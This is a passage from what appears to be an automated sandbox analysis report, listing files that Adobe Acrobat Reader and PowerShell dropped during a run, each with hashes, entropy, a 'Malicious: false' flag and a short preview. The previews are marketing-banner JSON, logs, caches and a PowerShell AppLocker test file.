SHA-512:	F381D85F8085E16E1A72A214E141BE9544A94F41F58D650335BE0CE95AF974C4A93250F61F5954B175875BFD9DEC0A49A2DFE9436E2EEB5D399E263DA5E6740C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a7a5696-76d6-4909-a722-0d05300124ba","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736732203259,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2659198870833706
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEpsHuY+FIbRI6XVW7+0Yv+qoAvJfYdPeUkwRe9:YvXKX6YpW7pZGg8Ukee9
MD5:	F10302180DFFCD02DFC35466CBD383AC
SHA1:	562B26B7BABCD8163079B924BF2D9F9C42F4F857
SHA-256:	5E15B20884CA4FB05C5C6A7A95D71872683B61266F032A6600C2F3C200F559D4
SHA-512:	7193BE15228EC76994CF0F5164A214FE82ECA4EB54E8FA3844E33F27388D1B4EC4CF47F556343BCFBB78AB8D4942242DB3003ECDFE217AA10CC17F75BDA82368
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a7a5696-76d6-4909-a722-0d05300124ba","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736732203259,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.251052556385234
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEpsHuY+FIbRI6XVW7+0Yv+qoAvJf+dPeUkwRe9:YvXKX6YpW7pZG28Ukee9
MD5:	A2B089216B8B8B60ACFB7DB15F8C7614
SHA1:	159CD349D0039C323A4A9F15D0C01D94C01BE4D1
SHA-256:	7B81ECB41382A1D80DAC4BDECBAB5192D91B23A88D424259D852844D26B852B4
SHA-512:	429EE9E4852F28E7430A5874DB776B26CCC5FEA93AE53D0CD186E138AED23B861722E670B4A28AC91511181E3B75C28C7E6E977E4B952F4A8B2859AF2AE55955
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a7a5696-76d6-4909-a722-0d05300124ba","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736732203259,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.249701212337416
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEpsHuY+FIbRI6XVW7+0Yv+qoAvJfbPtdPeUkwRe9:YvXKX6YpW7pZGDV8Ukee9
MD5:	6B9732D41481A086CB8F66D243F1A299
SHA1:	88C32AFAC93C7360F75EF45193D826170FE36A21
SHA-256:	3B04F42B121831AF3C530506243F5D7C77034ED6D7E7026DCA379D88EA57717E
SHA-512:	BCFE2D16F8B6DCD89138085F2A2C501D50E5D3D9E71BF55634A123DAF9C70D9DB192D86AF0078C9ED96298B61A97E3376F91929C1F8251AD723D1D65BFDCA88A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a7a5696-76d6-4909-a722-0d05300124ba","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736732203259,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.251477988717864
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEpsHuY+FIbRI6XVW7+0Yv+qoAvJf21rPeUkwRe9:YvXKX6YpW7pZG+16Ukee9
MD5:	1275C3230FCA589CBAE141FD03573E00
SHA1:	D8E84180ECB684B4FD0F0596C69DB10338A63C28
SHA-256:	568277AF8A362231B6DABA57DA97CD1EE815AC6E8B5281E791E6C7BD0FA38E47
SHA-512:	A966F18753F1BEE1F1DA97E95426F0ADDB549EA31812AD368FF944BF7285EB20DC971353C107F66358FAE12CB966E8EF292A010E99A06D889216643A2A93AE5E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a7a5696-76d6-4909-a722-0d05300124ba","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736732203259,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.65449664127401
Encrypted:	false
SSDEEP:	24:Yv6XPi4amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSw:YvZ+BgkDMUJUAh8cvMw
MD5:	B3653A3986A1364D7278A7F403B4A702
SHA1:	DB3E26BE46D6BC5A924DF174BA48C52D0D998EA6
SHA-256:	0F9F2309676FC4612FF42C5C7D37CC328FA12C685881418A6E4B70C1519677CA
SHA-512:	6A54E6B6F66F873FBCA721AD1BD9F2CCF2CBDB48347C6CC1EF0172627B6DA1E6BEC42C5CB8EAFFCB9AB6BE8E6F5E6B1561F439D74E461A8788E5EDE829ECDA8F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a7a5696-76d6-4909-a722-0d05300124ba","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736732203259,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.224785559509264
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEpsHuY+FIbRI6XVW7+0Yv+qoAvJfshHHrPeUkwRe9:YvXKX6YpW7pZGUUUkee9
MD5:	032B04800D3392A101E7D691CCA67446
SHA1:	9E9C0C0B4AD7336E02FF46EDF2EC1CB5F4627ACD
SHA-256:	C35875492F7CC3D46EEA0268D4651EA6776811ECF1C3F2573621B2D5FA7FF4FA
SHA-512:	1AAD73212B319D141AE1E0986A04B62EBBE8B40D1C4A40F1E05E8BF408B6F671AC329E2795D7F2F4C26578BD82D35677B8757685895EF93FF934F1C652E1B03D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a7a5696-76d6-4909-a722-0d05300124ba","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736732203259,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.229257312797091
Encrypted:	false
SSDEEP:	6:YEQXJ2HXPEpsHuY+FIbRI6XVW7+0Yv+qoAvJTqgFCrPeUkwRe9:YvXKX6YpW7pZGTq16Ukee9
MD5:	C696EE997379CC9308E68B68EF59F12C
SHA1:	7DBCB7660CC7743083782E63091B1C767B55E6C7
SHA-256:	A926BE782289AC44FDF4EEEF9DB8C52EBEA24EAF8590E3D2BB223E610985906E
SHA-512:	507DF63B12D8540B6533B94474625A6EB9781B790B1C5EB4AF2B9E6B641E406CA028585259FB76283E8096E6B30AD6AD917B363ABD40EF7F6E04803C31E92375
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"8a7a5696-76d6-4909-a722-0d05300124ba","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736732203259,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.131494057173971
Encrypted:	false
SSDEEP:	24:Yr+X9aHtGEf3ayIRW9bnp4wAn6EqXWmXpMuj8Pj0Sq8lfSBzp2/P/2LSaC+ccj0O:YVG4+W5Cn6YUUcinMzccj0wBN/d97P
MD5:	C68960B4BA3A9543979E99ECC986885D
SHA1:	820C313F4A28D70BC7295EBD4D7E95979EEF70EE
SHA-256:	AFAD7CC9FCC8883EEBAE98C8C84DEB61C22784D5FD0B56E4B7C093DAA493B954
SHA-512:	69B7530304BFA1632A8B2959A41681433DBF1782417CBF36935DC73FFA58CE12CD79A7266032E9EB76B2CE39BEEAEDC92F21304364E6E93F47C726C1F5789D6F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"7f021a566435603f2a52324459e16778","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736558023000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"a03851b5dcf1afe9b2203cdb93ca60e5","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736558023000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"42906670488bc783783b23ca19e48221","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736558023000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"b536ce6932f6b25cc7bd682054a81e71","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736558023000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b6aaf4a04ca3ad55e663926cff5d8b55","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736558023000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"0d408c11effb133a16792c61a259dd86","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9865303310549686
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpT4zJwtNBwtNbRZ6bRZ4yF:TVl2GL7ms6ggOVpMzutYtp6P3
MD5:	8C1FE3C5C391E9D60178AB7671D8282F
SHA1:	04DCC2C6445580AC5F19957E507567530F6E5861
SHA-256:	C93AF64560382ABB3F88BA3B91F673140B2022225B2391D452E52CED35F4D053
SHA-512:	357034AC350FD9EB18B8DEF2CF58AF42D02D7249956CBA419A031FA6DAE93E177F74FD5D68103CF75DAEFD93094EA6DC59AB78EFE14AAC8F0B214E81482017F9
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.338603185760751
Encrypted:	false
SSDEEP:	24:7+tG9AD1RZKHs/Ds/SpTPzJwtNBwtNbRZ6bRZWf1RZK3qLBx/XYKQvGJF7urs9:7McGgOVpzzutYtp6PMyqll2GL7ms9
MD5:	F2071A8966BC9C14F0716E9E6D947055
SHA1:	4A50EC2C964F2334B1C6BFA0273CAFC82E790B5E
SHA-256:	01FA9EF589AE74A9425BB5E836C954FFF548B171DF141CFC442CECC2AB977846
SHA-512:	019804A5761148C6CC3F1C653FC5DC0A3604B9F40FE24C98507F3DDB63C7AF89ECCF7672E784F1B9940D30EE9B02E8C530F60415407BCB27528A5D2025FA9D29
Malicious:	false
Preview:	.... .c......5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg38gPhcTTVh4f2klQAMfuM6L24sUYyu:6a6TZ44ADE388+TVqf1lm74sUK
MD5:	EF33254EB46FBC4D0671C7146208A110
SHA1:	C8488120EFB1B144EF4DC4D89EF4988AAE3F61BB
SHA-256:	E5E8361CC1F9F15783CD5492D672F813279527EB3DA5ED81452E15B3CB461BB4
SHA-512:	B5F520CA1DAA70E1A8AEC91BC051F645122471E0471A7DA7D28D9E29A8F6EC7894B298E381C23FB14F22CBD5451C82AEFC02248B5F18F1067F42300AD84BEE1C
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulDm0ll//Z:NllU6cl/
MD5:	DA1F22117B9766A1F0220503765A5BA5
SHA1:	D35597157EFE03AA1A88C1834DF8040B3DD3F3CB
SHA-256:	BD022BFCBE39B4DA088DDE302258AE375AAFD6BDA4C7B39A97D80C8F92981C69
SHA-512:	520FA7879AB2A00C86D9982BB057E7D5E243F7FC15A12BA1C823901DC582D2444C76534E955413B0310B9EBD043400907FD412B88927DAD07A1278D3B667E3D9
Malicious:	false
Preview:	@...e.................................R..............@..........

C:\Users\user\AppData\Local\Temp\MSI360f8.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5046637269111454
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCleCH:Qw946cPbiOxDlbYnuRK+bEH
MD5:	76DBF5067F56D8D3DD2393875D3AE93C
SHA1:	0622AFD533167EB2BB9536728702555DC3415C81
SHA-256:	3074EDC194B0CDB0685727775B153F4B2790A86C8FC0F18AB11031001218B219
SHA-512:	A06D766D6F85424491A8E6D83BBDE4EF8C7D3A0CDF0F96DEF6F3F623BFC3D930D6C7CB86E6FE1993825344523B42C6E34674DE38C05734C9E5C3D6BA851696F3
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.0.:.1.3.:.4.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_avfwarnd.dt0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tnluys1i.jlx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 20-13-37-088.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.307457721732934
Encrypted:	false
SSDEEP:	384:Mn52RTMH37tnN+AYi8IpyY9IkTeTUTbnsHqGck0LC5o6ElIrlwEnl0lY57R3NgQb:E56
MD5:	69C370274DD5EB8E030B963D609AEAF0
SHA1:	76A14BB34FF9BD558B1D6AE1198E89A05BEC75B9
SHA-256:	B4EF609B58568459248863784F76D1271EBACF7684B32D7E54BEC58D986467D6
SHA-512:	8BB9978889939144972948FE04684D19B2F444D18EAC14B6F8CCB1D5223CEFDB4F61DE234410E89A8A6BA98D4FB48DD44B8EDB3219DBE926B62BCC11CA84F961
Malicious:	false
Preview:	SessionID=d211002a-db43-4d0b-af0a-ec53dcca37cd.1736558017103 Timestamp=2025-01-10T20:13:37:103-0500 ThreadID=7904 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=d211002a-db43-4d0b-af0a-ec53dcca37cd.1736558017103 Timestamp=2025-01-10T20:13:37:105-0500 ThreadID=7904 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=d211002a-db43-4d0b-af0a-ec53dcca37cd.1736558017103 Timestamp=2025-01-10T20:13:37:105-0500 ThreadID=7904 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=d211002a-db43-4d0b-af0a-ec53dcca37cd.1736558017103 Timestamp=2025-01-10T20:13:37:105-0500 ThreadID=7904 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=d211002a-db43-4d0b-af0a-ec53dcca37cd.1736558017103 Timestamp=2025-01-10T20:13:37:105-0500 ThreadID=7904 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.400747033494266
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbq:90
MD5:	7E8F5BC2190713D7D8075F37241E183C
SHA1:	61F87275593D5FD87FCD9255D095B9E01862E1BD
SHA-256:	BA026517370C411D080500C220A1EDDA98BE5F0C5A7C60C9072A09B95A7B4D06
SHA-512:	37C8F9D19279C69206BC55A2508820C43770B6113CC3513386E7E262C5043DBB5C5FC2A6AD90A8C46622CF26364FC3D9FDAB7C535123618ACED9DE828624B035
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\2058af9a-40d7-485a-98d3-43cd8215b1a1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\4cbf9bd4-00c3-48a3-91ec-ea9a1a8727c5.tmp

Download File

